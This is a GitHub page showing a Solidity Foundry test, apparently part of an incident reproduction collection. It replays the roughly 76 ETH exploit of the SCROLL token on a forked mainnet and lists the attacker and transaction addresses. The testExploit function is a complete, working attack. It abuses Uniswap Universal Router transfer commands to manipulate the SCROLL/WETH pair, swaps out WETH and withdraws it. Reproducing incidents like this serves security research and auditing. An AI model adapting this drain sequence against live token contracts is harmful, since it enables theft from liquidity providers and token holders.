-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
SCROLL_exp.sol
67 lines (53 loc) · 2.81 KB
/
SCROLL_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~76 ETH
// Attacker : 0x55Db954F0121E09ec838a20c216eABf35Ca32cDD
// Attack Contract : 0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc
// Vulnerable Contract : 0xe51D3dE9b81916D383eF97855C271250852eC7B7
// Attack Tx : https://etherscan.io/tx/0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xe51D3dE9b81916D383eF97855C271250852eC7B7#code
// @Analysis
// Twitter Guy : https://x.com/0xNickLFranklin/status/1795650745448169741
interface IUniversalRouter {
function execute(bytes calldata commands, bytes[] calldata input) external payable;
}
contract ContractTest is Test {
address public attacker = address(this);
address public SCROLL_creater = 0x72C509B05A44c4Bb53373Efc2E76fB75FA8108a6;
IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
Uni_Pair_V2 SCROLL_WETH_pair = Uni_Pair_V2(0xa718aa1b3f61C2b90A01aB244597816a7eE69fD2);
IUniversalRouter universalRouter = IUniversalRouter(payable(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD));
IERC20 constant SCROLL = IERC20(0xe51D3dE9b81916D383eF97855C271250852eC7B7);
WETH9 constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function setUp() public {
vm.createSelectFork("mainnet", 19_971_611 - 1);
vm.label(address(SCROLL), "SCROLL");
vm.label(address(WETH), "WETH");
vm.label(address(universalRouter), "Universal Router");
vm.label(address(SCROLL_WETH_pair), "Uniswap V2 pair SCROLL WETH");
vm.label(address(router), "Uniswap V2 Router");
}
function testExploit() public {
SCROLL.balanceOf(address(universalRouter));
bytes memory commands = hex"05";
bytes[] memory inputs = new bytes[](1);
inputs[0] = abi.encode(address(SCROLL), address(SCROLL_creater), uint256(1));
universalRouter.execute(commands, inputs);
SCROLL.balanceOf(address(universalRouter));
address[] memory path = new address[](2);
path[0] = address(SCROLL);
path[1] = address(WETH);
uint256[] memory amounts = new uint256[](2);
amounts = router.getAmountsOut(SCROLL.balanceOf(address(SCROLL_WETH_pair)) * 1e3, path);
inputs[0] = abi.encode(address(SCROLL), address(SCROLL_WETH_pair), uint256(amounts[0]));
universalRouter.execute(commands, inputs);
SCROLL_WETH_pair.swap(amounts[1], 0, attacker, "");
WETH.withdraw(WETH.balanceOf(attacker));
inputs[0] = abi.encode(address(SCROLL), address(attacker), SCROLL.balanceOf(address(universalRouter)));
universalRouter.execute(commands, inputs);
}
fallback() external payable {}
}